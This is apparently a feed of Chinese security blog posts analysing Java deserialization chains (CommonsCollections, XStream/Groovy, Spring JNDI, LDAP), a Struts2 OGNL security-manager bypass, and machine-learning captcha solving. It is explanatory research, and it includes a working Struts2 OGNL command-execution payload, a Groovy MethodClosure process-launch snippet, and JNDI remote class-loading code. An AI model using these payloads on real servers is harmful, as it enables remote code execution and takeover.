这里最终会调用collection.containsAll方法,如果这里我们将collection赋值为JSONArray对象的话不照样触发漏洞么,由于AbstractCollectionDecorator这个类是抽象的,无法实例化,所以我们得找一个它的子类,注意这里我们必须得满足子类是实现了Set接口并且是可以序列化的,所以找到最后我们找到了org.apache.commons.collections.set.ListOrderedSet这个类。这里只需要满足父类的collection是JSONArray就行了。
到这里我们知道了只需要让equals方法中的对象o赋值成org.apache.commons.collections.set.ListOrderedSet的实例就行了。
接下来我们要去找关于equals的调用关系了,直接使用eclipse我们可以找到org.apache.commons.collections.map.Flat3Map.put(Object, Object)这个类(详细过程大家自己去跟),这个类有个更重要的一点是
这个Flat3Map有个特点就是当map的元素小于等于3的时候会用类成员变量来存储数据,而且这里还必须得调用equals方法。
这里我们关键的漏洞是怎么触发的已经浪费了大量的篇幅来说明,下来就是要去构造POC了,这里具体细节就比较简单了,不做过多的描述了。
这里直接给出生成Ldap序列化的Payload,如果谁有什么疑问可以邮件交流。
1 |
|
刚开始以为主要能生成序列化的Payload然后随便找个LDAP服务器弄个序列化的对象丢上去就行了,但是事实好像没有那么简单,我用apacheds模拟了好久就是不行,后来看了下上文提到的那个Obj.decodeObject(attrs)方法,发现这个必须要LDAP服务器返回的信息中必须包含某些属性,例如javaSerializedData,但是每次去请求总是达不到效果,后来去瞅了下msf上的payload,大概明白了一点,后来懒得去弄了,就学习了下ldap协议的rfc文档,熟悉了下asn1标记语言(有耐心的同学可以仔细看看),具体解释如下
1 | iswin |
最后再来简单说下那个Obj.decodeObject(attrs)的Payload构造问题,有的同学肯定会说了jndi不是直接可以远程加载类然后实例化么,这个问题再上门说过了,对于LDAP的jndi这个方法是行不通的,我们来看看这个Obj类到底是怎么处理的
这样叫不知道对不对,姑且这样叫吧,老外早就研究过这个问题,我直接把代码丢出来,可以碰撞出任意数值的hashcode值,大家在使用的时候要注意版权问题。
1 |
|
补一张成功利用的截图
只要方向对,撸起袖子加油干!
[1] https://github.com/rapid7/metasploit-framework/pull/7815
注:转载请保留版权。
]]>关于验证码识别的文章网上很多图像识别的大神教程也比较多,不过大多数专业性太强了,对非专业人士读起来简直是天书,不过随着机器学习的普及,一大批机器学习的开源工具出现了,这也算对大多数像我一样的学渣的福音,由于最近项目中牵扯到了一些机器学习相关的东西,所以自己最近也一直在学习机器相关的东西,这篇验证码的识别也算是练手了,本文也算是学习中的笔记,所以文章中难免有一些错误,欢迎各路大神指点。
由于本人不是相关专业的,对于文中相关算法就不会具体去讨论了,主要以实战为目的。
主要是用到了一些机器学习开源的框架以及一些辅助工具。
首先在进行具体工作之前,我们得看看我们需要解决的是什么问题,那么对于验证码识别来说,可以看作一个分类问题,对于数字的图片验证码来说的话,其实就是0-9数字分类的问题,验证码识别最难的部分在于怎么去将验证码进行切割成单个字符图片,当然对于图片裁剪也就是特征提取有很多办法,例如垂直投影法,等距切割法等等,其中等距切割也是比较简单的,但是对于稍微复杂一点的验证码识别时准确率非常低,因为等距切割时将验证码按照相同的宽度进行裁剪,对于那些字符宽度大小不一的,就算裁剪出来也不能很好的表示字符的特征,所以有时候需要先对图片进行一系列的预处理,例如字符矫正等等,然后再用垂直投影法在x轴和y轴上按照投影的大小进行裁剪。
对于垂直投影法来说的话,最后我们还得考虑训练集在维度上都同意,由于是非等级切割,所以每个图片的像素肯定不一样,所以为了维度统一还得进行填充,总之稍微麻烦一点。
这里主要是以等距切割为例子,因为在操作起来比较简单,那么掩码也是选用0-9的纯数字验证码来进行识别,验证码如下
对于验证码识别来说我们关注的不是验证码的颜色,而是字符代表的含义,所以在图片处理时进行灰度化和二值化以及去噪,比如说去掉干扰线,那么去噪也有相应的算法来实现,这里不做具体讨论,二值化其实就是将图片呈现出两种颜色,即非黑即白,这样的好处是在特征处理时可以使用0和1来代表黑色和白色,0和1代表什么颜色取决于个人喜好。
这样的话将二值化和其它步骤处理后的图片进行特征提取,将黑色像素点标记成1,白色像素点标记成0,这样就可以得到图片的数值表示,那么特征维度就等于图片像素的大小,最终将图片按照X轴或者Y轴表示,即将像素的所标记的值合并到一行,例如
表示成11111000000000000101110000000000000000,这样每张图片就可以使用一行0和1的数值来表示。
进行特征提取之后,我们得到了图片在数学上的表示,那么下一步就需要进行模型训练了,由于如上文所述,图片识别是一个分类问题,所以在机器学习中,我主要采用了两种模型来进行训练,SVM支持向量机和BP神经网络来进行模型训练,SVM使用scikit-learn机器学习包里面的实现来做,神经网络使用Pybrain来进行实现。
有关SVM和BP神经网络的算法部分,大家最好还是去网上搜下相关的Paper,这样你才能知道什么算法能解决什么问题,以及它大概的原理是什么样子的,有能力的同学可以去对推导下这两个算法。
在问题分析部分我们已经对验证码识别的大概思路有了一个了解,那么这部分则主要正对上面所述部分进行具体实现。
首先,我们应该明白SVM和神经网络模型算法是属于有监督学习,即需要对样本进行标注,也就是标记每张图片表示的是那个数字,但是实际遇到的问题是,如果数据量小的话,我们可以进行人工标注,那么在数据量比较大的情况下,人工标注可能就不太现实了,所以对于图片来说的话也一样,你进行切割完成之后你必须得标注这个数字是几,所以我们需要对切割的图片进行预处理,也就是打标记,我比较懒,所以我也不会一个个去打标签,所以这里使用ocr来对切割的图片进行预分类,ocr在单文字识别上的效果正确率还是可以的,在ocr进行预分类之后,我们只需要去纠正那些分类错误的图片即可,这样就能大大的减少工作量。
这里实现主要有以下几个步骤:
图片采集就比较简单,不过多的阐述,如下图代码所示
对图片进行预处理后采用等距切割法对图片进行切割
裁剪后的图片如下
图片预分类采用pytesseract来对分割的图片进行预分类,减轻工作量。
具体代码如下
ocr的分类效果正确率应该在50%以上,剩下的就是对预分类的图片进行人工纠错了。
ocr的分类效果图
每个目录表示一个类别标签。
特征提取的具体内容请参考问题分析中,里面有详细的说明。
关键代码如下
红色线框表示一张图片数值上的表示,最后一个数字0表示该图片的类型,我是为了方便把标签追加到最后一行。
这里svm的实现使用了scikit-learn来实现,关于scikit-learn的使用去官网看Tutorial就好了,这里需要说一下SVM关于参数选择的问题,我们都知道SVM支持多个核函数,例如高斯核、线性核、poly以及sgmoid核函数,但是选择那么核函数一开始对于不太熟悉的同学怎么选择的确是个问题,所以这里使用了scikit-learn的GridSearchCV来对参数进行最优化选择,经过参数寻优,这里高斯核的最终效果还是不错的,所以训练的时候直接使用高斯核来进行训练。
为了方便预测时的使用,这里对训练结果使用了joblib模块来进行持久化。为了简单对评价模型进行,这里使用了5折交叉验证来对结果进行检验。
最终结果的准确率在:Accuracy: 0.96 (+/- 0.09)
具体代码如下:
举个预测的例子,看看效果
BP神经网络也称负反馈神经网络,即按误差逆传播算法训练的多层前馈网络,是目前应用最广泛的神经网络模型之一,在BP神经网络之后,又出现了在深度学习中应用最广泛的CNN即卷积神经网络,这几天也正在学习。
本文使用了三层BP神经网络来对训练集进行训练,即输入层+2层隐含层+输出层,关于BP神经网络本身这里需要注意的是激活函数的选择以及对于多分类问题输出层函数选择的问题,激活函数主要有sigmod、tanh以及relu,关于怎么选取激活函数,这块没有进行深入了解,一般都是每个激活函数都跑一次,看最终效果。
这里的神经网络模型分类主要是对Pybrain用法的学习以及BP神经网络的基本认识,输入层使用了LinearLayer即线性输入层,隐含层使用了SigmoidLayer即激活函数为sigmod的隐含层,输出层由于是多分类问题,所以使用了SoftmaxLayer,最终在神经网络计算的结果中选取数值最大的那个索引位置就是预测的验证码类别,也就是0-9之间的数值。
关于Pybrain的资料除了官方文档不是特别多,关于构建神经网络的方式提供了两种方式,一种是buildNetwork函数来进行构建,另外一种就是使用FeedForwardNetwork函数来进行构建,这里需要注意的是如果使用FeedForwardNetwork来进行构建的话,注意要手动给各层加上Bias偏置项,否则结果可能可能非常差,当时我实验时没加,半天计算结果不对,最后看了下buildNetwork函数的源代码才发现没加Bias项,还有就是需要注意迭代至收敛的步数即函数中的*maxEpochs=500,这个根据情况调整,Pybrain有自己的数据集格式,所以在使用时必须按照它的格式来进行数据的初始化。
这里除了输入层的维度(即验证码的训练集维度)和输出是固定的之外,其中隐含层的神经元个数也是可以调整的,具体的感兴趣的同学自己去调然后再看下结果。
对模型使用10折交叉验证进行了简单评估,错误率在Total error: 0.062左右,效果比SVM的差一点,应该通参数调优应该可以提高准确率,不过重在学习。
训练集样本:/Users/iswin/Downloads/yzm/traindata/train_data_uniq.txt
主要代码如下:
举个例子,来看看预测效果
通过这个小实验,至少让我对机器学习和相关算法大致有了一个了解,同时作为安全人员来说至少知道了如何使用开源的机器学习框架来构架自己的模型,笔记中难免会有错误之处,欢迎大家提出意见。
]]>关于这个Struts2的漏洞感慨颇深,首先根据官方漏洞的描述,大家应该能很快找到漏洞出现的位置,基本上Struts2里面大部分标签都是存在OGNL代码二次执行的问题,问题虽然能很容易的发现,但是在最新版本里面要想成功利用该漏洞执行任意代码,需要绕过Struts2的安全管理器,所以说整个漏洞变成了一个如何绕过Struts2安全管理器的问题,我花了很多时间在想办法如何去绕过Struts2的安全管理器,一开始我从来没有想过Struts2里面的_memberAccess变量可以被修改,因为前几次Struts2的RCE问题中_memberAccess变量已经被纳入黑名单了,同时我把Struts2的安全管理器的源代码也看了一遍,似乎都很合理,但是直到安恒研究院的同学把POC丢出来的时候,_memberAccess变量依然可以被修改,真的是让人匪夷所思。所以本文也主要是围绕这个Bypass安全管理器来进行探讨,看看究竟是什么原因导致了Bypass安全管理器。
从官方的描述看来这次是Strut2标签的问题,而且还是标签属性值OGNL二次解析的问题,利用条件比较苛刻,所以说这个漏洞威力并没有那么大,下面直接给出一部分存在问题的标签,其他的标签大家自己去找,这里只列出来几个比较典型的,这里主要说两类标签属性值,一个是id属性,在org.apache.struts2.components.UIBean类中我们很容易发现id参数在setID时已经进行了第一次OGNL表达式的执行,如下图
然后紧接着在org.apache.struts2.components.UIBean.populateComponentHtmlId(Form)方法中进行了第二次的OGNL表达式解析,如下如的
findStringIfAltSyntax方法最终会调用findString方法进行id值的第二次OGNL表达式执行
1 | protected String findStringIfAltSyntax(String expr) { |
所以说这里凡是调用了org.apache.struts2.components.UIBean.populateComponentHtmlId(Form)方法的标签都存在二次解析的问题,通过eclipse很简单就可以找到有哪些标签存在这个问题,如下图
所以下列标签中的id属性只要可控,那么就会导致任意代码执行的问题1
2
3
4
5<s:head id=""/>
<s:file id=""/>
<s:reset id=""/>
<s:submit id=""/>
<s:updownselect id="" list=""/>
另一类为name属性,name属性的二次解析需要标签中的value为空,这样才能进行二次代码执行,由于name属性调用了org.apache.struts2.components.Component.completeExpressionIfAltSyntax(String)该方法,该方法定义如下
1 | protected String completeExpressionIfAltSyntax(String expr) { |
该方法会自动在第一次表达式执行后添加%{}来标识这是一个ongl代码块,所以在写POC的时候记得这种情况下不要加%{},因为它会自动添加,比较典型的属性有
1 | <s:hidden name="%{#request.poc}"></s:hidden> |
其他的标签属性都一样,就不一一列举了。在Struts2的低版本中直接用以前Struts2的POC就可以了,但是在高版本中加入了新的安全策略,所以导致了在新的版本中以前的POC是没法用的。
不过对于漏洞的检测是没啥问题的如下图
不能执行命令,对于这个非常鸡肋的漏洞来说就更鸡肋了,下面来看看怎么bypass安全管理器的。
在讨论Bypass之前,首先非常感谢安恒信息安全研究院同学POC的分享。
在想怎么bypass安全管理器的时候,我对Struts2的安全管理器的策略也是花时间去看了的,毕竟对struts2不是特别的熟悉,我们先看看最新版本里面对OGNL表达式执行做了哪些限制,如下图
Struts2默认的安全规则就是上面红色框标记的部分,主要排除了一些可能存在问题的类以及包,首先来看看安全管理器有哪些东西,如下图
SecurityMemberAccess类继承了OGNL默认的的安全管理器DefaultMemberAccess,我们来看看DefaultMemberAccess类中有哪些属性以及他们的访问权限,如下图
这里可以看到上面圈起来的三个属性的修饰符是public,在DefaultMemberAccess中判断了调用方法的修饰符,如下图
如果调用属性的修饰符为public时就默认通过,那么我是否可以直接对上述三个属性值进行修改,看样子好像是不行的,因为Struts2的默认规则里面排除了该类型(MemberAccess),但是要想去修改_memberAccess变量中私有的属性值,必须得将上述三个变量设置为true。
我们再来看看SecurityMemberAccess类中是如何对OGNL表达式进行限制的,com.opensymphony.xwork2.ognl.SecurityMemberAccess.isAccessible(Map, Object, Member, String)方法最终进行判断的方法,部分代码如下
首先会按照默认规则进行判断,一旦不满足其中任何一个条件就会返回false,表示该OGNL表达式不具备执行的条件,通过对默认的规则进行分析以及fuzz,发现新版本中的规则都很死,要想执行命令或者静态方法基本上不太现实,但是POC明明是能够成功调用静态方法以及new对象和调用对象的任何方法,究竟是怎么回事?
我把OGNL表达式的执行流程走了一遍,发现Struts2开发人员在对ONGL表达式中的赋值操作时将判断条件写反了,这样一来就直接导致了前边做的所有的安全策略,在这里根本起不了作用,出问题的代码在ognl.ObjectPropertyAccessor.setPossibleProperty(Map, Object, String, Object),该函数主要是对OGNL语法树中的赋值表达式进行解析以及通过反射去完成相应的赋值操作,具体代码如下
我们先跟进ognl.OgnlRuntime.setMethodValue(OgnlContext, Object, String, Object, boolean)方法,如下
也就是说如果ognl.OgnlRuntime.setMethodValue(OgnlContext, Object, String, Object, boolean)方法返回true代表权限检查通过,否则返回false,也就是安全检查失败,但是这里的条件进行判断时把条件给写反了
ognl.ObjectPropertyAccessor.setPossibleProperty(Map, Object, String, Object)
1 | //当条件不满足时返回false,一取反就成true,if条件满足,接着就会调用相关函数进行赋值操作 |
所以说上述代码才是实现修改_memberAccess成员变量属性的决定性因素,所以即使做了权限检查,调用了相关判断函数,但是最终应为一个判断条件二前功尽弃,实在是不应该。
就是因为这个关键条件的判断的问题,导致了我们可以修改_memberAccess的任意属性哪怕是私有的属性。
在bypass过安全管理器后,我们要想实现执行任意代码,只需要allowStaticMethodAccess=true(执行静态方法),excludedPackageNamePatterns=空集合(可以调用相关包)以及excludedClasses=空集合(可以调用任何类),满足这三个条件就可以执行任意代码了。
执行命令的POC如下
1 | #_memberAccess.allowPrivateAccess=true,#_memberAccess.allowStaticMethodAccess=true,#_memberAccess.excludedClasses=#_memberAccess.acceptProperties,#_memberAccess.excludedPackageNamePatterns=#_memberAccess.acceptProperties,#res=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#a=@java.lang.Runtime@getRuntime(),#s=new java.util.Scanner(#a.exec('whoami').getInputStream()).useDelimiter('\\\\A'),#str=#s.hasNext()?#s.next():'',#res.print(#str),#res.close() |
这里需要注意的是在一开始的时候我说主要有两类标签属性存在问题,一类是id,一类是name
如果id的属性可以控制,类似于下面代码
1 | <s:file id="%{#request.poc}" /> |
那么对于的POC为如下图
如果对应的标签属性为name时,代码如下
1 | <s:hidden name="%{#request.poc}"></s:hidden> |
POC要稍微有点变化,因为name属性第二次进行OGNL调用时会自动对表达式加上%{}字符,所以对应的POC为如下图
不过上述标签的属性值不一定是直接通过参数传进来,具体的利用场景需要结合实际的条件。
]]>序列化的问题貌似在最近爆发的非常频繁,最近有小伙伴在问我关于这两天爆发的Xstream组建的反序列化的漏洞,最近公司非常忙,不过赶上周末刚好抽时间看了下,其实这次的漏洞和之前JRE的那个反序列化漏洞触发的条件基本上差不多,不过关于JRE的那个序列化似乎没人关注,有兴趣的同学可以去找找关于那个JRE的序列化,影响力不亚于11月份我分析的那个Apache CommonsCollection的漏洞。好了,回到正文吧。在分析Xstream漏洞时发现,XStream漏洞的根源在于Groovy组件的问题,其实在15年的时候有人给Groovy报了一个CVE-2015-3253的Bug,不过网上似乎没有太多细节,为什么这次分析XStream的漏洞的时候要提到Groovy的那个CVE,因为漏洞的根源就来自于那个CVE。
先来说说那个Groovy的CVE-2015-3253的漏洞吧。
网上貌似没有对该漏洞的分析,所以只能通过cve的连接去看看具体是什么问题,http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3253,官方的描述如下:
The MethodClosure class in runtime/MethodClosure.java in Apache Groovy 1.7.0 through 2.4.3 allows remote attackers to execute arbitrary code or cause a denial of service via a crafted serialized object.
通过上述漏洞描述信息,我们知道了问题大概出现在了MethodClosure类上,该类定义以及方法如下图
该类的描述为 Represents a method on an object using a closure which can be invoked at any time,大概意思就是通过构建一个指定对象以及调用方法的Closure的实例并且可以在任何时候进行调用。上图红色线标记的方法即为触发构建好的对象以及指定方法的函数,我们跟进看看该方法最终是怎么样执行的。
通过该方法的注释可以知道该方法的作用为调用指定对象的指定方法,所以MethodClosure类中构造方法中的两个参数的意思为owner代表调用方法的对象,method为调用方法的名字,所以我们可以构造特定了对象从而实现执行特定函数,我们自己定义的对象以及方法最终会调用上图中红色框标记的函数进行执行。
举个例子,例如我们想通过MethodClosure实现执行命令的功能,那么代码如下
1 | MethodClosure mc = new MethodClosure(new java.lang.ProcessBuilder("open","/Applications/Calculator.app"), "start"); |
注:这里调用的call方法最终会调用doCall函数,有兴趣的可以自己去调试。
这样上述代码就可以实现代码执行,关于该函数的功能我们基本上搞明白了,那么我们回过头来想想,难道这个CVE就是说了下这个函数可以执行特定代码么?
既然我们知道了如何构建以及触发相关函数从而导致代码的执行,那么我们不妨去找找看看那些函数调用了存在缺陷的函数,通过eclipse我们可以很容易看出那些地方调用了MethodClosure#call()函数
如上图所示,我们可以看到groovy.util.Expando类的hashcode以及toString等方法调用了MethodClosure#call()函数,到这里从事java的小伙伴们应该比较激动,这里的hashCode()方法调用了存在缺陷的函数,hashCode函数才是这个CVE比较核心的地方,首先我们需要知道hashCode函数的作用,当两个对象比较是否相等的时候,会调用该对象的hashCode以及equals方法进行比较,如果这两个方法返回的结果一致,那么认为这两个对象是相等,如果被调用对象没有重写hashCode以及equals方法,那么会调用父类的默认实现。
这里明白hashCode的作用之后,再来说说HashMap的put方法,该方法的定义如下
因为Map是一种key-value类型的数据结构,所以Map集合不允许有重复key,所以每次在往集合中添加键值对时会去判断key是否相等,那么在判断是否相等时会调用key的hashCode方法,如果我们精心构造一个groovy.util.Expando对象作为Map集合的key,那么在将对象添加进集合时就会触发groovy.util.Expando的hashCode方法,从而触发我们的恶意代码。
明白上面的知识后我们再来跟进groovy.util.Expando#hashCode方法,看看如何精心构造一个一刻执行恶意代码的对象,如下图
这里从上图中可以看出调用getProperties().get(“hashCode”)方法从而实现自定义的hashCode,我们只需要调用setProperties(“hashCode”,Expando实例)去绑定hashCode属性对于的实现就行了,这里hashCode必须是Closure或者其子类才能最终调用call函数,MethodClosure类恰好是Closure的子类,所以结合这两个地方,恶意代码就会成功触发。
上面说到过通过调用Map#put方法即可触发我们构造好的代码,那么有人可能会问了,那些场景下才会触发Map的put方法,在反序列化时这样的场景还是存在的,除了这次的Xstream反序列化之外java的其他反序列化类中很可能也是有这样的场景的。
下面给出利用代码
Xstream的反序列化漏洞的根源就是上文所述的Groovy组件的问题,只不过在Xstream中进行反序列化时恰好有触发存在缺陷函数的点,也就是Xstream在反序列化时调用了Map#put函数将构造好的Expando实例作为key添加到集合中时触发了代码执行,如下图
这里的key就是我们构造的Expando的实例对象。
在构造EXP时,首先我们要构造一个Expando的一个对象实例,同时设置hashCode的实现为MethodClosure的实例,然后实例化一个HashMap对象调用put方法将Expando的实例化对象作为key,value任意添加到map中,然后让Xstream对map进行序列化,这样我们的Payload就OK了,
估计有很多人不明白漏洞作者博客的POC是怎么来的,这里的序列化是基于xml的,所以得借助Xstream相关函数将构造好的对象进行序列化然后生成xml,反序列化时解析xml,转换成相关对象。
好人做到底,我就把POC的生成代码也发出来吧
执行程序后,我们的POC就生成成功,如下图所示
至于怎么执行其他的代码,这个还比较麻烦,除了执行命令之外,好像没有什么好的办法,因为MethodClosure的构造函数中指定了要执行方法的对象以及执行的方法名称,所以说只能调用一次构造函数,并且有一个无参数的方法可以执行,这样才能实现函数的正常运行。
这个漏洞的成因应该是两方面的共同造成了,一方面等待Xstream官方的补丁,此外Groovy在2.4.3之后修复了代码执行的这个bug,禁用了MethodClosure的代码执行功能。
受影响的用户可以通过升级Groovy的版本来缓解该漏洞造成的影响。
[2] http://www.pwntester.com/blog/2013/12/23/rce-via-xstream-object-deserialization38/
]]>11月初爆发的JAVA反序列漏洞已经过去几个月了,各大安全研究人员对该漏洞的利用技巧也是五花八门,JAVA反序列化漏洞的爆发引起了很多漏洞研究者的注意,国外安全研究人员(zerothoughts)最近在Spring框架中同样也发现关于序列化的一些问题,本文主要是讨论在Spring框架中序列化漏洞成因以及一些利用方式。
上一次的漏洞成因是Apache CommonsCollection组建中对集合的操作存在可以进行反射调用的方法,但是这次Spring框架的RCE基本上和CommonsCollection组建没有什么关系,在分析漏洞之前我们先来回顾下序列化的相关知识,只有明白了序列化是怎么回事,在理解序列化漏洞时就非常简单了。
关于序列化其实我们只需要知道两点即可,如下
明白上面两点之后,我们再来了解下JAVA体系中的RMI以及JNDI,具体如下
RMI(Remote Method Invocation) 即Java远程方法调用,一种用于实现远程过程调用的应用程序编程接口,常见的两种接口实现为JRMP(Java Remote Message Protocol,Java远程消息交换协议)以及CORBA。
JNDI (Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。JNDI支持的服务主要有以下几种:DNS、LDAP、 CORBA对象服务、RMI等。
那么RMI和JNDI有什么关系呢?简单说就是RMI注册的服务可以让JNDI应用程序来访问,关于两者的具体关系以及在应用中的使用请参考官方文档这里不赘述。
在讨论Spring框架序列化漏洞之前,我们先来看看关于JNDI的RCE,如上文所述,JNDI支持很多服务类型,当服务类型为RMI协议时,如果从RMI注册服务中lookup的对象类型为Reference类型或者其子类时,会导致远程代码执行,Reference类提供了两个比较重要的属性,className以及codebase url,classname为远程调用引用的类名,那么codebase url决定了在进行rmi远程调用时对象的位置,此外codebase url支持http协议,当远程调用类(通过lookup来寻找)在RMI服务器中的CLASSPATH中不存在时,就会从指定的codebase url来进行类的加载,如果两者都没有,远程调用就会失败。
JNDI RCE漏洞产生的原因就在于当我们在注册RMI服务时,可以指定codebase url,也就是远程要加载类的位置,设置该属性可以让JDNI应用程序在加载时加载我们指定的类( 例如:http://www.iswin.org/xx.class) ,这里还有一个比较重要的点,也是触发恶意代码的点,当JNDI应用程序通过lookup(rmi服务的地址)调用指定codebase url上的类后,会调用被远程调用类的构造方法,所以如果我们将恶意代码放在被远程调用类的构造方法中时,漏洞就会触发。
JNDI的RCE可以用以下代码来解释
1 | Registry registry = LocateRegistry.createRegistry(1999); |
上述代码使用了1999端口来注册了RMI服务和绑定相应的调用对象,同时指定了要远程调用类的名称 ExportObject,以及上文所述的codebase url 地址为http://127.0.0.1:8000/,也就是说当JNDI应用程序去调用RMI地址进行远程调用时,例如,调用的地址为rmi://127.0.0.1:1999/Object,当JNDI应用程序在远程调用时,会去查找Object名称绑定的类的位置,这里我们指定了类的加载位置http://127.0.0.1:8000/,所以最终实际加载类的地址就是http://127.0.0.1:8000/ExportObject.class,成功加载后会进行实例化,从而调用ExportObject类的构造方法,如果我们将恶意代码放在要加载类的构造方法中,就会导致任意代码执行。
如果明白上面所述的一些问题,那么接下来理解Spring框架的RCE时就非常简单了,因为Spring框架的远程代码执行的根本就是JNDI的远程代码执行,只不过需要结合序列化来触发。
Spring 框架中的远程代码执行的缺陷在于spring-tx-xxx.jar中的org.springframework.transaction.jta.JtaTransactionManager类,该类实现了Java Transaction API,主要功能是处理分布式的事务管理,我们先来看看该类的方法以及成员变量。
通过eclipse我们可以明显的看到该类实现了readObject(ObjectOutputStream)方法,为什么漏洞叫Spring框架的序列化漏洞,原因就在这里,关于反序列的只是上面已经介绍过了,我们都知道当一个类被反序列化时会调用该类的readObject方法,跟进readObject方法
方法initUserTransactionAndTransactionManager();是用来初始化UserTransaction以及TransactionManager,跟进该方法
这里我们可以看到该方法中调用了lookupUserTransaction方法,该方法的功能为
Look up the JTA UserTransaction in JNDI via the configured name.
通过配置好的transaction名称用JNDI的方式进行查找,到这里漏洞的成因就比较清晰了,这里的userTransactionName变量我们可以控制,通过setter方法可以初始化该变量,这里userTransactionName可以是rmi的调用地址(例如,userTransactionName=”rmi://127.0.0.1:1999/Object”),只要控制userTransactionName变量,就可以触发JNDI的RCE,继续跟进lookupUserTransaction方法
最终会调用JndiTemplate的lookup方法,如下
从而触发JNDI的RCE导致Spring framework序列化的漏洞产生。
漏洞作者zerothoughts在github上面已经放出了漏洞利用的POC,详情见https://github.com/zerothoughts/spring-jndi
首先看看对于该漏洞,我们可以控制的地方,如下
结合上面3个条件,就可以成功触发Spring framework 序列化的漏洞。
我修改了下作者给出的POC,看起来更加清晰点,POC分为两部分,客户端和服务端,服务端只是模拟了反序列的功能。
客户端如下如下:
1 | import java.io.IOException; |
服务端如下
1 |
|
发送的PayLoad为
1 |
|
执行成功后的效果为
上面是作者给出的POC,已经能证明在Spring框架中的确存在缺陷的类。不过这只是模拟了漏洞的触发过程,那么在实际利用过程中又会是怎么样的,下面将具体进行分析。
这里重点还是说下该漏洞在中间件中的利用,依然以JBOSS为例子(电脑上只有它),其它中间件类比下就知道了。上面对漏洞的产生的原因以及触发条件作了详细的说明,很多人问,这个不是Spring framework的漏洞么,是不是只要使用了Spring框架进行开发就可能会受影响,非常遗憾的告诉大家那是不可以的。
要想成功利用该漏洞,必须满足下列条件
当上述3个条件同时满足时,才能触发该漏洞,这里主要讨论在中间件中的利用,所以条件1很好满足(例如JBOSS、Weblogic、Jenkins、Websphere等),条件2也可以满足,但是条件3却比较苛刻,由于Spring-tx-xx.jar文件不是中间件的默认组件,所以,该漏洞就比较鸡肋,对于中间件来说,每个应用的lib库文件的类加载器是不一样的,换句话说,就是在同一中间件中,A应用的lib库文件B应用是无法使用的,所以即使目标应用存在该缺陷,那么中间件的漏洞触发点是无法找到缺陷应用lib文件中的class文件的,所以无法做到通用的利用,说白了就是lib库共享的问题,那么在实际工程中可能会存在将缺陷jar文件放在中间件的类加载器中的情况,比如说所有的项目都会用到spring的jar,开发人员索性就把jar文件给共享了,这样所有的应用都可以访问到该jar文件,这种情况下漏洞是可以完全触发的。
这里我以JBOSS中间件为例子,进行说明,在jboss中jboss-5.0.1.GA\lib*.jar 所有的jar,所有的应用都是可以访问的,将有缺陷的类放在这个目录下就会触发漏洞,因为Jboss序列化触发的点在/invoker/JMXInvokerServlet上,所以我将受缺陷的文件放在了该应用的lib目录下,如下图所示
修改POC后,成功利用该漏洞
总之,如果要成功利用,得看人品。其它中间我想应该也是一样的,如果有什么问题,欢迎指正。
通过Spring官方给作者的邮件中,可以看出官方将这个锅丢给了中间件反序列接口的防范上或者可以进行反序列的方法上。如果觉得有必要修复漏洞的小伙伴,可以重写JtaTransactionManager类中的readObject方法禁用相关功能就行了。
[1] :http://zerothoughts.tumblr.com/post/137769010389/fun-with-jndi-remote-code-injection
[2] :http://zerothoughts.tumblr.com/post/137831000514/spring-framework-deserialization-rce
[3] :https://github.com/zerothoughts/spring-jndi
本文主要讨论Apache CommonsCollections组件的Deserialize功能存在的问题,该问题其实在2015年1月份在国外已经被发现,直到在今年11月初才被国内相关网站发现并且在安全圈子里面迅速升温,不少安全公司已经采用批量化的程序对互联网上受影响的网站进行检测,由于CommonsCollections为Apache开源项目的重要组件,所以该组建的使用量非常大,这次主要是JBOSS,weblogic等中间件受影响,通过对漏洞的POC进行修改,可以直接控制受影响的服务器。
该漏洞的出现的根源在CommonsCollections组件中对于集合的操作存在可以进行反射调用的方法,并且该方法在相关对象反序列化时并未进行任何校验,新版本的修复方案对相关反射调用进行了限制。
问题函数主要出现在org.apache.commons.collections.Transformer接口上,我们可以看到该接口值定义了一个方法
我们可以看到该方法的作用是给定一个Object对象经过转换后同时也返回一个Object,我们来看看该接口有哪些实现类
这些transformer的实现类中,我们一眼就看到了这里的InvokerTransformer,搞JAVA的对invoke这个词应该比较敏感,我们跟进这个实现类去看看具体的实现,
我们可以看到该该方法中采用了反射的方法进行函数调用,Input参数为要进行反射的对象(反射相关的知识就不在这赘述了),iMethodName,iParamTypes为调用的方法名称以及该方法的参数类型,iArgs为对应方法的参数,在invokeTransformer这个类的构造函数中我们可以发现,这三个参数均为可控参数
1 | public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { |
那么现在核心的问题就是寻找哪些类调用了Transformer接口中的transform方法,通过eclipse我们找到了以下类调用了该方法
这里我们可以看到有两个比较明显的类调用了transform方法,分别是
这里对于网上给出的POC使用的是LazyMap来进行构造,其实这里TransformedMap构造更为简单,因为触发条件比较简单,后面会具体分析。
这里以网上给出的POC来进行分析,毕竟大家都在用么。
这里LazyMap实现了Map接口,其中的get(Object)方法调用了transform方法,跟进函数进去
1 | public Object get(Object key) { |
这里可以看到,在调用transform方法之前会先判断当前Map中是否已经有该key,如果没有最终会由这里的factory.transform进行处理,我吗继续跟踪下facory这个变量看看该变量是再哪被初始化的,
1 | public static Map decorate(Map map, Transformer factory) { |
这里的decorate方法会对factory进行初始化,同时实例化一个LazyMap,到这里就比较有意思了。
为了能成功调用transform方法,我们找到了LazyMap方法,发现在get()方法中调用了该方法,所以说现在漏洞利用的核心条件就是去寻找一个类,在对象进行反序列化时会调用我们精心构造对象的get(Object)方法,老外在这里找到了一个方法的确能在反序列化时触发LazyMap的get(Object)方法,老外的这种精神必须佩服!
现在重点现在转移到sun.reflect.annotation.AnnotationInvocationHandler类上,我们看看在该类进行反序列化的时候究竟是如何触发漏洞代码的。
跟进sun.reflect.annotation.AnnotationInvocationHandler的源代码
在反序列的时候程序首先会调用调用readObject这个方法,我们首先看看这个readObject方法
这里的memberValues是我们通过构造AnnotationInvocationHandler 构造函数初始化的变量,也就是我们构造的lazymap对象,这里我们只需要找到一个memberValues.get(Object)的方法即可触发该漏洞,但是可惜的是该方法里面并没有这个方法。
到这里,在老外给的POC里面,有一个Proxy.newInstance(xx)的方法,很多人可能不太明白老外为什么这里需要用到动态代理,这里也就是POC的精华之处了,我们在readObject方法中并未找到lazymap的get方法,但是我们继续在sun.reflect.annotation.AnnotationInvocationHandler类里面找看看那个方法调用了memberValues.get(Object)方法,很幸运我们发现在invoke方法中memberValues.get(Object)被调用
